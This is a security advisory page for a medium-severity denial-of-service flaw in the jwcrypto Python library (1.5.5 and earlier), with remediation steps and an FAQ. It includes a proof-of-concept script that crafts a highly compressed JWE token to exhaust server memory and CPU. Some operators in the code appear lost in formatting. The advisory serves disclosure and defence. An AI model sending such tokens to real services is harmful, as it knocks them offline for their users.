GHSA-j857-7rvv-vj97: Medium severity pip/jwcrypto vulnerability

Published Mar 6, 2024
·
Updated

Affected version Vendor: https://github.com/latchset/jwcrypto Version: 1.5.5

Description An attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this Token, it will consume a lot of memory and processing time.

Poc python from jwcrypto import jwk, jwe from jwcrypto.common import jsonencode, jsondecode import time publickey = jwk.JWK() privatekey = jwk.JWK.generate(kty='RSA', size=2048) publickey.importkey(jsondecode(privatekey.exportpublic()))

payload = '{"u": "' + "u" 400000000 + '", "uu":"' + "u" 400000000 + '"}' protectedheader = { "alg": "RSA-OAEP-256", "enc": "A256CBC-HS512", "typ": "JWE", "zip": "DEF", "kid": publickey.thumbprint(), } jwetoken = jwe.JWE(payload.encode('utf-8'), recipient=publickey, protected=protectedheader) enc = jwetoken.serialize(compact=True)

print("-----uncompress-----")

print(len(enc))

begin = time.time()

jwetoken = jwe.JWE() jwetoken.deserialize(enc, key=privatekey)

print(time.time() - begin)

print("-----compress-----")

payload = '{"u": "' + "u" 400000 + '", "uu":"' + "u" 400000 + '"}' protectedheader = { "alg": "RSA-OAEP-256", "enc": "A256CBC-HS512", "typ": "JWE", "kid": publickey.thumbprint(), } jwetoken = jwe.JWE(payload.encode('utf-8'), recipient=publickey, protected=protectedheader) enc = jwetoken.serialize(compact=True)

print(len(enc))

begin = time.time()

jwetoken = jwe.JWE() jwetoken.deserialize(enc, key=privatekey)

print(time.time() - begin) It can be found that when processing Tokens with similar lengths, the processing time of compressed tokens is significantly longer. <img width="172" alt="image" src="https://github.com/latchset/jwcrypto/assets/133195620/23193327-3cd7-499a-b5aa-28c56af92785">

Mitigation To mitigate this vulnerability, it is recommended to limit the maximum token length to 250K. This approach has also been adopted by the JWT library System.IdentityModel.Tokens.Jwt used in Microsoft Azure [1], effectively preventing attackers from exploiting this vulnerability with high compression ratio tokens.

References [1] CVE-2024-21319

Affected Software

1 affected componentFixes available
pip/jwcrypto<=1.5.5
1.5.6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/jwcrypto to a version that resolves this vulnerability.

    Fixed in 1.5.6
  2. Configuration

    Limit the maximum JWE token length to 250K to mitigate denial-of-service attacks from high-compression-ratio tokens.

    jwcrypto maximum token length = 250K

Event History

Mar 6, 2024
Advisory Published
via GitHub·08:00 PM
Data Sourced
via GitHub·08:00 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of GHSA-j857-7rvv-vj97?

The severity of GHSA-j857-7rvv-vj97 is categorized as a denial-of-service (DoS) vulnerability.

2

How do I fix GHSA-j857-7rvv-vj97?

To fix GHSA-j857-7rvv-vj97, upgrade the jwcrypto package to version 1.5.6 or later.

3

What is the impact of GHSA-j857-7rvv-vj97?

The impact of GHSA-j857-7rvv-vj97 includes excessive memory consumption and processing time leading to a potential DoS condition.

4

Which versions of jwcrypto are affected by GHSA-j857-7rvv-vj97?

Versions of jwcrypto up to and including 1.5.5 are affected by GHSA-j857-7rvv-vj97.

5

Can GHSA-j857-7rvv-vj97 be exploited remotely?

Yes, GHSA-j857-7rvv-vj97 can be exploited remotely by sending a malicious JWE Token.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203